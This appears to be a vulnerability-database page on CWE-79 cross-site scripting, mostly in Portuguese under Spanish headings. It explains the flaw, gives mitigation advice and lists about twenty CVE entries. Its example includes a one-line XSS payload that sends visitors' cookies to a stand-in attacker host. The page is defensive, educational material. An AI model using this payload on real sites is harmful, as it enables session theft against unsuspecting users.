Fallos del tipo CWE-79

30.250 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2024-44045MEDIUMWordPress WP Abstracts plugin <= 2.6.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-5976MEDIUMPHPGurukul Rail Pass Management System add-pass.php cross site scriptingEPSS 0.3%CVE-2024-36234MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2024-37514MEDIUMWordPress CopySafe Web Protection plugin <= 3.14 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-53731MEDIUMWordPress Fintelligence Calculator plugin <= 1.0.3 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-36233MEDIUMAdobe Experience Manager | Cross-site Scripting (DOM-based XSS) (CWE-79)EPSS 0.3%CVE-2025-23874HIGHWordPress WP Block Pack plugin <= 1.1.6 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-7760HIGHReflected XSS in Ofisimo's Association Web Package FloraEPSS 0.3%CVE-2026-41240MEDIUMDOMPurify: FORBID_TAGS bypassed by function-based ADD_TAGS predicate (asymmetry with FORBID_ATTR fix)EPSS 0.3%CVE-2023-32715MEDIUMSelf Cross-Site Scripting (XSS) on Splunk App for Lookup File EditingEPSS 0.3%CVE-2026-93339MEDIUMDitty < 3.1.70 Stored XSS via Layout Tag Wrapper AttributeEPSS 0.3%CVE-2025-23811HIGHWordPress WP2APP Plugin <= 2.6.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-36819MEDIUMMAP-OS 4.45.0 and earlier is vulnerable to Cross-Site Scripting (XSS). This vulnerability allows malicious users to insert a malicious payloEPSS 0.3%CVE-2025-23867HIGHWordPress WordPress File Search Plugin <= 1.2 - Reflected Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2024-7932HIGHStored Cross-site Scripting (XSS) vulnerability affecting 3DDashboard in 3DSwymer on Release 3DEXPERIENCE R2024xEPSS 0.3%CVE-2024-36232MEDIUMAdobe Experience Manager | Cross-site Scripting (Stored XSS) (CWE-79)EPSS 0.3%CVE-2026-41724HIGHVMSA-2026-0004: VMware Cloud Foundation Operations updates address multiple vulnerabilities (CVE-2026-41722, CVE-2026-41723 and CVE-2026-41724)EPSS 0.3%CVE-2024-2458MEDIUMPowerkit – Supercharge your WordPress Site <= 2.9.1 - Authenticated(Contributor+) Stored Cross-Site Scripting via ShortcodeEPSS 0.3%CVE-2026-103482MEDIUMSimple Newsletter Plugin <= 4.3.10 - Unauthenticated Stored Cross-Site Scripting via Subscriber Custom Field via Manage Preferences Form + Campaign Preview noptin_key PivotEPSS 0.3%CVE-2026-52606MEDIUMA reflected cross-site scripting (XSS) vulnerability in reportico-web <= 8.1.0 allows remote attackers to execute arbitrary JavaScript in thEPSS 0.3%